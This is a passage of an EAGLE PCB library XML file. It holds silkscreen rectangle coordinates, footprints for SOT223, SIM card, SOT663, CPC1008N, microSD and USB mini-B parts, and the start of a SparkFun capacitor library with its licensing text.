y1=\"2.8663\" x2=\"-0.3353\" y2=\"2.8708\" layer=\"21\"/>\n<rectangle x1=\"0.2509\" y1=\"2.8663\" x2=\"0.5928\" y2=\"2.8708\" layer=\"21\"/>\n<rectangle x1=\"-0.6683\" y1=\"2.8708\" x2=\"-0.3308\" y2=\"2.8752\" layer=\"21\"/>\n<rectangle x1=\"0.2464\" y1=\"2.8708\" x2=\"0.5839\" y2=\"2.8752\" layer=\"21\"/>\n<rectangle x1=\"-0.6639\" y1=\"2.8752\" x2=\"-0.3264\" y2=\"2.8796\" layer=\"21\"/>\n<rectangle x1=\"0.242\" y1=\"2.8752\" x2=\"0.5795\" y2=\"2.8796\" layer=\"21\"/>\n<rectangle x1=\"-0.655\" y1=\"2.8796\" x2=\"-0.3264\" y2=\"2.8841\" layer=\"21\"/>\n<rectangle x1=\"0.242\" y1=\"2.8796\" x2=\"0.5706\" y2=\"2.8841\" layer=\"21\"/>\n<rectangle x1=\"-0.6461\" y1=\"2.8841\" x2=\"-0.322\" y2=\"2.8885\" layer=\"21\"/>\n<rectangle x1=\"0.2375\" y1=\"2.8841\" x2=\"0.5617\" y2=\"2.8885\" layer=\"21\"/>\n<rectangle x1=\"-0.6372\" y1=\"2.8885\" x2=\"-0.322\" y2=\"2.893\" layer=\"21\"/>\n<rectangle x1=\"0.2375\" y1=\"2.8885\" x2=\"0.5528\" y2=\"2.893\" layer=\"21\"/>\n<rectangle x1=\"-0.6328\" y1=\"2.893\" x2=\"-0.3175\" y2=\"2.8974\" layer=\"21\"/>\n<rectangle x1=\"0.2331\" y1=\"2.893\" x2=\"0.5484\" y2=\"2.8974\" layer=\"21\"/>\n<rectangle x1=\"-0.6239\" y1=\"2.8974\" x2=\"-0.3175\" y2=\"2.9018\" layer=\"21\"/>\n<rectangle x1=\"0.2331\" y1=\"2.8974\" x2=\"0.5395\" y2=\"2.9018\" layer=\"21\"/>\n<rectangle x1=\"-0.615\" y1=\"2.9018\" x2=\"-0.3131\" y2=\"2.9063\" layer=\"21\"/>\n<rectangle x1=\"0.2287\" y1=\"2.9018\" x2=\"0.5306\" y2=\"2.9063\" layer=\"21\"/>\n<rectangle x1=\"-0.6062\" y1=\"2.9063\" x2=\"-0.3086\" y2=\"2.9107\" layer=\"21\"/>\n<rectangle x1=\"0.2242\" y1=\"2.9063\" x2=\"0.5262\" y2=\"2.9107\" layer=\"21\"/>\n<rectangle x1=\"-0.6017\" y1=\"2.9107\" x2=\"-0.3086\" y2=\"2.9152\" layer=\"21\"/>\n<rectangle x1=\"0.2242\" y1=\"2.9107\" x2=\"0.5173\" y2=\"2.9152\" layer=\"21\"/>\n<rectangle x1=\"-0.5928\" y1=\"2.9152\" x2=\"-0.3042\" y2=\"2.9196\" layer=\"21\"/>\n<rectangle x1=\"0.2198\" y1=\"2.9152\" x2=\"0.5084\" y2=\"2.9196\" layer=\"21\"/>\n<rectangle x1=\"-0.584\" y1=\"2.9196\" x2=\"-0.3042\" y2=\"2.924\" layer=\"21\"/>\n<rectangle x1=\"0.2198\" y1=\"2.9196\" x2=\"0.4995\" y2=\"2.924\" layer=\"21\"/>\n<rectangle x1=\"-0.5795\" y1=\"2.924\" x2=\"-0.2998\" y2=\"2.9285\" layer=\"21\"/>\n<rectangle x1=\"0.2153\" y1=\"2.924\" x2=\"0.4951\" y2=\"2.9285\" layer=\"21\"/>\n<rectangle x1=\"-0.5706\" y1=\"2.9285\" x2=\"-0.2998\" y2=\"2.9329\" layer=\"21\"/>\n<rectangle x1=\"0.2153\" y1=\"2.9285\" x2=\"0.4862\" y2=\"2.9329\" layer=\"21\"/>\n<rectangle x1=\"-0.5618\" y1=\"2.9329\" x2=\"-0.2953\" y2=\"2.9374\" layer=\"21\"/>\n<rectangle x1=\"0.2109\" y1=\"2.9329\" x2=\"0.4773\" y2=\"2.9374\" layer=\"21\"/>\n<rectangle x1=\"-0.5529\" y1=\"2.9374\" x2=\"-0.2909\" y2=\"2.9418\" layer=\"21\"/>\n<rectangle x1=\"0.2065\" y1=\"2.9374\" x2=\"0.4684\" y2=\"2.9418\" layer=\"21\"/>\n<rectangle x1=\"-0.5484\" y1=\"2.9418\" x2=\"-0.2909\" y2=\"2.9462\" layer=\"21\"/>\n<rectangle x1=\"0.2065\" y1=\"2.9418\" x2=\"0.464\" y2=\"2.9462\" layer=\"21\"/>\n<rectangle x1=\"-0.5396\" y1=\"2.9462\" x2=\"-0.2864\" y2=\"2.9507\" layer=\"21\"/>\n<rectangle x1=\"0.202\" y1=\"2.9462\" x2=\"0.4551\" y2=\"2.9507\" layer=\"21\"/>\n<rectangle x1=\"-0.5307\" y1=\"2.9507\" x2=\"-0.2864\" y2=\"2.9551\" layer=\"21\"/>\n<rectangle x1=\"0.202\" y1=\"2.9507\" x2=\"0.4462\" y2=\"2.9551\" layer=\"21\"/>\n<rectangle x1=\"-0.5218\" y1=\"2.9551\" x2=\"-0.282\" y2=\"2.9596\" layer=\"21\"/>\n<rectangle x1=\"0.1976\" y1=\"2.9551\" x2=\"0.4418\" y2=\"2.9596\" layer=\"21\"/>\n<rectangle x1=\"-0.5173\" y1=\"2.9596\" x2=\"-0.2776\" y2=\"2.964\" layer=\"21\"/>\n<rectangle x1=\"0.1931\" y1=\"2.9596\" x2=\"0.4329\" y2=\"2.964\" layer=\"21\"/>\n<rectangle x1=\"-0.5085\" y1=\"2.964\" x2=\"-0.2776\" y2=\"2.9684\" layer=\"21\"/>\n<rectangle x1=\"0.1931\" y1=\"2.964\" x2=\"0.424\" y2=\"2.9684\" layer=\"21\"/>\n<rectangle x1=\"-0.4996\" y1=\"2.9684\" x2=\"-0.2731\" y2=\"2.9729\" layer=\"21\"/>\n<rectangle x1=\"0.1887\" y1=\"2.9684\" x2=\"0.4152\" y2=\"2.9729\" layer=\"21\"/>\n<rectangle x1=\"-0.4951\" y1=\"2.9729\" x2=\"-0.2731\" y2=\"2.9773\" layer=\"21\"/>\n<rectangle x1=\"0.1887\" y1=\"2.9729\" x2=\"0.4107\" y2=\"2.9773\" layer=\"21\"/>\n<rectangle x1=\"-0.4863\" y1=\"2.9773\" x2=\"-0.2687\" y2=\"2.9818\" layer=\"21\"/>\n<rectangle x1=\"0.1843\" y1=\"2.9773\" x2=\"0.4018\" y2=\"2.9818\" layer=\"21\"/>\n<rectangle x1=\"-0.4774\" y1=\"2.9818\" x2=\"-0.2687\" y2=\"2.9862\" layer=\"21\"/>\n<rectangle x1=\"0.1843\" y1=\"2.9818\" x2=\"0.393\" y2=\"2.9862\" layer=\"21\"/>\n<rectangle x1=\"-0.4685\" y1=\"2.9862\" x2=\"-0.2642\" y2=\"2.9906\" layer=\"21\"/>\n<rectangle x1=\"0.1798\" y1=\"2.9862\" x2=\"0.3841\" y2=\"2.9906\" layer=\"21\"/>\n<rectangle x1=\"-0.4641\" y1=\"2.9906\" x2=\"-0.2598\" y2=\"2.9951\" layer=\"21\"/>\n<rectangle x1=\"0.1754\" y1=\"2.9906\" x2=\"0.3796\" y2=\"2.9951\" layer=\"21\"/>\n<rectangle x1=\"-0.4552\" y1=\"2.9951\" x2=\"-0.2598\" y2=\"2.9995\" layer=\"21\"/>\n<rectangle x1=\"0.1754\" y1=\"2.9951\" x2=\"0.3708\" y2=\"2.9995\" layer=\"21\"/>\n<rectangle x1=\"-0.4463\" y1=\"2.9995\" x2=\"-0.2554\" y2=\"3.004\" layer=\"21\"/>\n<rectangle x1=\"0.1709\" y1=\"2.9995\" x2=\"0.3619\" y2=\"3.004\" layer=\"21\"/>\n<rectangle x1=\"-0.4374\" y1=\"3.004\" x2=\"-0.2554\" y2=\"3.0084\" layer=\"21\"/>\n<rectangle x1=\"0.1709\" y1=\"3.004\" x2=\"0.353\" y2=\"3.0084\" layer=\"21\"/>\n<rectangle x1=\"-0.433\" y1=\"3.0084\" x2=\"-0.2509\" y2=\"3.0128\" layer=\"21\"/>\n<rectangle x1=\"0.1665\" y1=\"3.0084\" x2=\"0.3485\" y2=\"3.0128\" layer=\"21\"/>\n<rectangle x1=\"-0.4241\" y1=\"3.0128\" x2=\"-0.2509\" y2=\"3.0173\" layer=\"21\"/>\n<rectangle x1=\"0.1665\" y1=\"3.0128\" x2=\"0.3397\" y2=\"3.0173\" layer=\"21\"/>\n<rectangle x1=\"-0.4152\" y1=\"3.0173\" x2=\"-0.2465\" y2=\"3.0217\" layer=\"21\"/>\n<rectangle x1=\"0.162\" y1=\"3.0173\" x2=\"0.3308\" y2=\"3.0217\" layer=\"21\"/>\n<rectangle x1=\"-0.4063\" y1=\"3.0217\" x2=\"-0.242\" y2=\"3.0262\" layer=\"21\"/>\n<rectangle x1=\"0.1576\" y1=\"3.0217\" x2=\"0.3263\" y2=\"3.0262\" layer=\"21\"/>\n<rectangle x1=\"-0.4019\" y1=\"3.0262\" x2=\"-0.242\" y2=\"3.0306\" layer=\"21\"/>\n<rectangle x1=\"0.1576\" y1=\"3.0262\" x2=\"0.3175\" y2=\"3.0306\" layer=\"21\"/>\n<rectangle x1=\"-0.393\" y1=\"3.0306\" x2=\"-0.2376\" y2=\"3.035\" layer=\"21\"/>\n<rectangle x1=\"0.1532\" y1=\"3.0306\" x2=\"0.3086\" y2=\"3.035\" layer=\"21\"/>\n<rectangle x1=\"-0.3841\" y1=\"3.035\" x2=\"-0.2376\" y2=\"3.0395\" layer=\"21\"/>\n<rectangle x1=\"0.1532\" y1=\"3.035\" x2=\"0.2997\" y2=\"3.0395\" layer=\"21\"/>\n<rectangle x1=\"-0.3797\" y1=\"3.0395\" x2=\"-0.2332\" y2=\"3.0439\" layer=\"21\"/>\n<rectangle x1=\"0.1487\" y1=\"3.0395\" x2=\"0.2953\" y2=\"3.0439\" layer=\"21\"/>\n<rectangle x1=\"-0.3708\" y1=\"3.0439\" x2=\"-0.2332\" y2=\"3.0484\" layer=\"21\"/>\n<rectangle x1=\"0.1443\" y1=\"3.0439\" x2=\"0.2864\" y2=\"3.0484\" layer=\"21\"/>\n<rectangle x1=\"-0.3619\" y1=\"3.0484\" x2=\"-0.2287\" y2=\"3.0528\" layer=\"21\"/>\n<rectangle x1=\"0.1443\" y1=\"3.0484\" x2=\"0.2775\" y2=\"3.0528\" layer=\"21\"/>\n<rectangle x1=\"-0.3531\" y1=\"3.0528\" x2=\"-0.2243\" y2=\"3.0573\" layer=\"21\"/>\n<rectangle x1=\"0.1398\" y1=\"3.0528\" x2=\"0.2686\" y2=\"3.0573\" layer=\"21\"/>\n<rectangle x1=\"-0.3486\" y1=\"3.0573\" x2=\"-0.2243\" y2=\"3.0617\" layer=\"21\"/>\n<rectangle x1=\"0.1398\" y1=\"3.0573\" x2=\"0.2642\" y2=\"3.0617\" layer=\"21\"/>\n<rectangle x1=\"-0.3397\" y1=\"3.0617\" x2=\"-0.2198\" y2=\"3.0661\" layer=\"21\"/>\n<rectangle x1=\"0.1354\" y1=\"3.0617\" x2=\"0.2553\" y2=\"3.0661\" layer=\"21\"/>\n<rectangle x1=\"-0.3308\" y1=\"3.0661\" x2=\"-0.2198\" y2=\"3.0706\" layer=\"21\"/>\n<rectangle x1=\"0.1354\" y1=\"3.0661\" x2=\"0.2464\" y2=\"3.0706\" layer=\"21\"/>\n<rectangle x1=\"-0.322\" y1=\"3.0706\" x2=\"-0.2154\" y2=\"3.075\" layer=\"21\"/>\n<rectangle x1=\"0.131\" y1=\"3.0706\" x2=\"0.242\" y2=\"3.075\" layer=\"21\"/>\n<rectangle x1=\"-0.3175\" y1=\"3.075\" x2=\"-0.211\" y2=\"3.0794\" layer=\"21\"/>\n<rectangle x1=\"0.1265\" y1=\"3.075\" x2=\"0.2331\" y2=\"3.0794\" layer=\"21\"/>\n<rectangle x1=\"-0.3086\" y1=\"3.0794\" x2=\"-0.211\" y2=\"3.0839\" layer=\"21\"/>\n<rectangle x1=\"0.1265\" y1=\"3.0794\" x2=\"0.2242\" y2=\"3.0839\" layer=\"21\"/>\n<rectangle x1=\"-0.2998\" y1=\"3.0839\" x2=\"-0.2065\" y2=\"3.0883\" layer=\"21\"/>\n<rectangle x1=\"0.1221\" y1=\"3.0839\" x2=\"0.2153\" y2=\"3.0883\" layer=\"21\"/>\n<rectangle x1=\"-0.2909\" y1=\"3.0883\" x2=\"-0.2065\" y2=\"3.0928\" layer=\"21\"/>\n<rectangle x1=\"0.1221\" y1=\"3.0883\" x2=\"0.2109\" y2=\"3.0928\" layer=\"21\"/>\n<rectangle x1=\"-0.2864\" y1=\"3.0928\" x2=\"-0.2021\" y2=\"3.0972\" layer=\"21\"/>\n<rectangle x1=\"0.1176\" y1=\"3.0928\" x2=\"0.202\" y2=\"3.0972\" layer=\"21\"/>\n<rectangle x1=\"-0.2776\" y1=\"3.0972\" x2=\"-0.2021\" y2=\"3.1017\" layer=\"21\"/>\n<rectangle x1=\"0.1176\" y1=\"3.0972\" x2=\"0.1931\" y2=\"3.1017\" layer=\"21\"/>\n<rectangle x1=\"-0.2687\" y1=\"3.1017\" x2=\"-0.1976\" y2=\"3.1061\" layer=\"21\"/>\n<rectangle x1=\"0.1132\" y1=\"3.1017\" x2=\"0.1843\" y2=\"3.1061\" layer=\"21\"/>\n<rectangle x1=\"-0.2642\" y1=\"3.1061\" x2=\"-0.1932\" y2=\"3.1105\" layer=\"21\"/>\n<rectangle x1=\"0.1088\" y1=\"3.1061\" x2=\"0.1798\" y2=\"3.1105\" layer=\"21\"/>\n<rectangle x1=\"-0.2554\" y1=\"3.1105\" x2=\"-0.1932\" y2=\"3.115\" layer=\"21\"/>\n<rectangle x1=\"0.1088\" y1=\"3.1105\" x2=\"0.1709\" y2=\"3.115\" layer=\"21\"/>\n<rectangle x1=\"-0.2465\" y1=\"3.115\" x2=\"-0.1888\" y2=\"3.1194\" layer=\"21\"/>\n<rectangle x1=\"0.1043\" y1=\"3.115\" x2=\"0.162\" y2=\"3.1194\" layer=\"21\"/>\n<rectangle x1=\"-0.2376\" y1=\"3.1194\" x2=\"-0.1888\" y2=\"3.1239\" layer=\"21\"/>\n<rectangle x1=\"0.1043\" y1=\"3.1194\" x2=\"0.1532\" y2=\"3.1239\" layer=\"21\"/>\n<rectangle x1=\"-0.2332\" y1=\"3.1239\" x2=\"-0.1843\" y2=\"3.1283\" layer=\"21\"/>\n<rectangle x1=\"0.0999\" y1=\"3.1239\" x2=\"0.1487\" y2=\"3.1283\" layer=\"21\"/>\n</package>\n<package name=\"SOT223\">\n<description>&lt;b&gt;Small Outline Transistor&lt;/b&gt;</description>\n<wire x1=\"3.2766\" y1=\"1.778\" x2=\"3.2766\" y2=\"-1.778\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.2766\" y1=\"-1.778\" x2=\"-3.2766\" y2=\"-1.778\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2766\" y1=\"-1.778\" x2=\"-3.2766\" y2=\"1.778\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2766\" y1=\"1.778\" x2=\"3.2766\" y2=\"1.778\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"-2.3114\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"P$2@1\" x=\"0\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"P$3\" x=\"2.3114\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"P$2@2\" x=\"0\" y=\"3.099\" dx=\"3.6\" dy=\"2.2\" layer=\"1\"/>\n<text x=\"1.0208\" y=\"-4.318\" size=\"0.8128\" layer=\"51\" ratio=\"12\">3</text>\n<text x=\"1.905\" y=\"2.54\" size=\"0.8128\" layer=\"51\" ratio=\"12\">2</text>\n<text x=\"-3.4526\" y=\"-4.318\" size=\"0.8128\" layer=\"51\" ratio=\"12\">1</text>\n<text x=\"-1.2906\" y=\"-4.3274\" size=\"0.8128\" layer=\"51\" ratio=\"12\">2</text>\n<text x=\"-2.54\" y=\"0.0508\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-1.3208\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6002\" y1=\"1.8034\" x2=\"1.6002\" y2=\"3.6576\" layer=\"51\"/>\n<rectangle x1=\"-0.4318\" y1=\"-3.6576\" x2=\"0.4318\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-2.7432\" y1=\"-3.6576\" x2=\"-1.8796\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"1.8796\" y1=\"-3.6576\" x2=\"2.7432\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-1.6002\" y1=\"1.8034\" x2=\"1.6002\" y2=\"3.6576\" layer=\"51\"/>\n<rectangle x1=\"-0.4318\" y1=\"-3.6576\" x2=\"0.4318\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-2.7432\" y1=\"-3.6576\" x2=\"-1.8796\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"1.8796\" y1=\"-3.6576\" x2=\"2.7432\" y2=\"-1.8034\" layer=\"51\"/>\n</package>\n<package name=\"SIM_CARD_CONN\">\n<smd name=\"CARD_VCC_PIN1\" x=\"-10.16\" y=\"0\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_RESET_PIN2\" x=\"-10.16\" y=\"2.54\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_CLK_PIN3\" x=\"-10.16\" y=\"5.08\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_GND_PIN5\" x=\"15.52\" y=\"0\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_VPP_PIN6\" x=\"15.52\" y=\"2.54\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_IO_PIN7\" x=\"15.52\" y=\"5.08\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<hole x=\"10.58\" y=\"-2.1\" drill=\"1.6\"/>\n<hole x=\"-5.22\" y=\"9.9\" drill=\"1.1\"/>\n<wire x1=\"-11.2\" y1=\"-5.2\" x2=\"19.6\" y2=\"-5.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"19.6\" y1=\"-5.2\" x2=\"19.6\" y2=\"8.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"19.6\" y1=\"8.9\" x2=\"19.6\" y2=\"12.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"19.6\" y1=\"12.9\" x2=\"15.6\" y2=\"12.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.6\" y1=\"12.9\" x2=\"-11.2\" y2=\"12.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-11.2\" y1=\"12.9\" x2=\"-11.2\" y2=\"-5.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.6\" y1=\"12.9\" x2=\"19.6\" y2=\"8.9\" width=\"0.254\" layer=\"21\"/>\n<text x=\"-6.9\" y=\"-0.8\" size=\"1.27\" layer=\"21\">1</text>\n<text x=\"-6.9\" y=\"1.8\" size=\"1.27\" layer=\"21\">2</text>\n<text x=\"-6.8\" y=\"4.6\" size=\"1.27\" layer=\"21\">3</text>\n<text x=\"11.9\" y=\"-0.8\" size=\"1.27\" layer=\"21\">5</text>\n<text x=\"12\" y=\"2\" size=\"1.27\" layer=\"21\">6</text>\n<text x=\"12.2\" y=\"4.4\" size=\"1.27\" layer=\"21\">7</text>\n<text x=\"-4.7\" y=\"-0.8\" size=\"1.27\" layer=\"21\">vcc</text>\n<text x=\"-4.7\" y=\"1.7\" size=\"1.27\" layer=\"21\">reset</text>\n<text x=\"-4.6\" y=\"4.6\" size=\"1.27\" layer=\"21\">clk</text>\n<text x=\"7.4\" y=\"-0.6\" size=\"1.27\" layer=\"21\">gnd</text>\n<text x=\"7.3\" y=\"2.1\" size=\"1.27\" layer=\"21\">vpp</text>\n<text x=\"7.6\" y=\"4.4\" size=\"1.27\" layer=\"21\">i/o</text>\n</package>\n<package name=\"SOT663\">\n<description>SOT 663</description>\n<smd name=\"P$3\" x=\"-0.635\" y=\"0\" dx=\"0.6\" dy=\"0.6\" layer=\"1\"/>\n<smd name=\"P$1\" x=\"1.015\" y=\"-0.5\" dx=\"0.6\" dy=\"0.6\" layer=\"1\"/>\n<smd name=\"P$2\" x=\"1.015\" y=\"0.5\" dx=\"0.6\" dy=\"0.6\" layer=\"1\"/>\n<wire x1=\"-0.635\" y1=\"0.4\" x2=\"-0.635\" y2=\"1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1\" x2=\"0.965\" y2=\"1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0.965\" y1=\"1\" x2=\"0.965\" y2=\"0.9\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-0.4\" x2=\"-0.635\" y2=\"-1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-1\" x2=\"0.965\" y2=\"-1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0.965\" y1=\"-1\" x2=\"0.965\" y2=\"-0.9\" width=\"0.127\" layer=\"21\"/>\n<text x=\"-1.6\" y=\"1.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">&gt;NAME</text>\n<text x=\"-2\" y=\"-2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">&gt;VALUE</text>\n</package>\n<package name=\"CPC1008N\">\n<smd name=\"A\" x=\"1.27\" y=\"2.54\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"C\" x=\"-1.27\" y=\"2.54\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"COM\" x=\"-1.29\" y=\"-3.06\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"NO\" x=\"1.27\" y=\"-3.06\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-2.44\" y=\"-2.86\" size=\"1.27\" layer=\"21\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.4\" y=\"-3.48\" size=\"1.27\" layer=\"21\" rot=\"R90\">&gt;VALUE</text>\n<circle x=\"1.28\" y=\"3.97\" radius=\"0.30479375\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.32\" y=\"3.94\" radius=\"0.180275\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.22\" y=\"4.07\" radius=\"0.188678125\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.2\" y=\"4.09\" radius=\"0.10295625\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.3\" y=\"3.84\" radius=\"0.09219375\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.27\" y=\"3.94\" radius=\"0.171171875\" width=\"0.127\" layer=\"21\"/>\n</package>\n<package name=\"MICROSD_TE2201778-1_FARN-234-5280\">\n<smd name=\"8\" x=\"-3.85\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"7\" x=\"-2.75\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"6\" x=\"-1.65\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"5\" x=\"-0.55\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"4\" x=\"0.55\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"3\" x=\"1.65\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"2\" x=\"2.75\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"1\" x=\"3.85\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"A\" x=\"-5.59\" y=\"0.3\" dx=\"1.16\" dy=\"1.2\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"B\" x=\"-4.32\" y=\"10.59\" dx=\"0.7\" dy=\"1.05\" layer=\"1\"/>\n<smd name=\"GND\" x=\"-2.04\" y=\"10.45\" dx=\"1.4\" dy=\"1.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@1\" x=\"2.66\" y=\"10.45\" dx=\"1.4\" dy=\"1.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@2\" x=\"-5.05\" y=\"-2.8\" dx=\"2.21\" dy=\"1.9\" layer=\"1\"/>\n<smd name=\"GND@3\" x=\"8.4\" y=\"-3\" dx=\"1.35\" dy=\"1.9\" layer=\"1\"/>\n<rectangle x1=\"-4.55\" y1=\"1.9\" x2=\"4.45\" y2=\"7.52\" layer=\"39\"/>\n<rectangle x1=\"5.31\" y1=\"3.35\" x2=\"6.71\" y2=\"6.85\" layer=\"39\"/>\n<rectangle x1=\"-4.34\" y1=\"-3.75\" x2=\"-3.16\" y2=\"-3.05\" layer=\"39\"/>\n<wire x1=\"8.78\" y1=\"10.85\" x2=\"-5.85\" y2=\"10.85\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.85\" y1=\"10.85\" x2=\"-5.85\" y2=\"-4.5\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.85\" y1=\"-4.5\" x2=\"8.78\" y2=\"-4.5\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"8.78\" y1=\"-4.5\" x2=\"8.78\" y2=\"10.85\" width=\"0.127\" layer=\"21\"/>\n</package>\n<package name=\"USB_MINI_B_FARN1125348\">\n<smd name=\"D+\" x=\"0\" y=\"0\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"ID\" x=\"0\" y=\"-0.8\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"GND\" x=\"0\" y=\"-1.6\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"D-\" x=\"0\" y=\"0.8\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"VBUS\" x=\"0\" y=\"1.6\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<hole x=\"-2.3\" y=\"2.2\" drill=\"0.9\"/>\n<hole x=\"-2.3\" y=\"-2.2\" drill=\"0.9\"/>\n<smd name=\"GND@4\" x=\"-4.2\" y=\"4.9\" dx=\"2.05\" dy=\"4\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@1\" x=\"-4.2\" y=\"-4.9\" dx=\"2.05\" dy=\"4\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@3\" x=\"0.05\" y=\"4.9\" dx=\"2.05\" dy=\"3.5\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@2\" x=\"0.05\" y=\"-4.9\" dx=\"2.05\" dy=\"3.5\" layer=\"1\" rot=\"R90\"/>\n<wire x1=\"-6.3\" y1=\"3.9\" x2=\"-8.2\" y2=\"3.9\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-8.2\" y1=\"3.9\" x2=\"-8.2\" y2=\"-3.8\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-8.2\" y1=\"-3.8\" x2=\"-6.3\" y2=\"-3.8\" width=\"0.127\" layer=\"21\"/>\n<rectangle x1=\"-6.2\" y1=\"-3.1\" x2=\"-5\" y2=\"3.1\" layer=\"41\"/>\n<text x=\"-5.3\" y=\"6.4\" size=\"1.27\" layer=\"21\">&gt;NAME</text>\n<text x=\"-5.7\" y=\"-7.7\" size=\"1.27\" layer=\"21\">&gt;VALUE</text>\n</package>\n</packages>\n</library>\n<library name=\"SparkFun-Capacitors\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"0603-CAP\">\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"0\" y1=\"0.0305\" x2=\"0\" y2=\"-0.0305\" width=\"0.5588\" layer=\"21\"/>\n<smd name=\"1\" 